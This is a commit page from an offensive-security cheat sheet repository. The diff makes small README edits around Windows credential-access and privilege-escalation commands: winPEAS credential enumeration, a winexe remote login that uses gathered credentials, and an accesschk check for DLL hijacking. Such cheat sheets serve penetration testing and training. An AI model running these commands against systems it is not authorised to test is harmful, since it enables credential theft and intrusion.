kqjy/Offensive-Security-Cheat-Sheet
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update README.md

Browse Source
This commit is contained in:
Joe Totes
2022-09-03 09:48:56 -04:00
committed by GitHub
parent cbcfcb1b96
commit f54b944803
1 changed files with 4 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files

7
README.md
View File

@@ -663,12 +663,12 @@ python3 exploit.py
### Credential Access
```bash
```ps1
#######################################################################
##### 1. Credentials from registry ####################################
#######################################################################
# Using Winpeas
# Winpeas Enumeration
.\winPEASany.exe quiet filesinfo userinfo
# Manual search (Local Machine and Current User)
@@ -686,7 +686,7 @@ winexe -U '{USER}%{PASSWORD}' //{IP ADDRESS} cmd.exe
#### 2. Credentials from cmdkey #########################################
#########################################################################
# Using Winpeas
# Winpeas Enumeration
.\winPEASany.exe quiet cmd windowscreds
# We can verify this manually using the following command:
@@ -813,6 +813,7 @@ net start filepermsvc
#######################
# 5. DLL Hijacking ####
#######################
# Verify permissions of to start service using accesschk
.\accesschk.exe /accepteula -uvqc dllsvc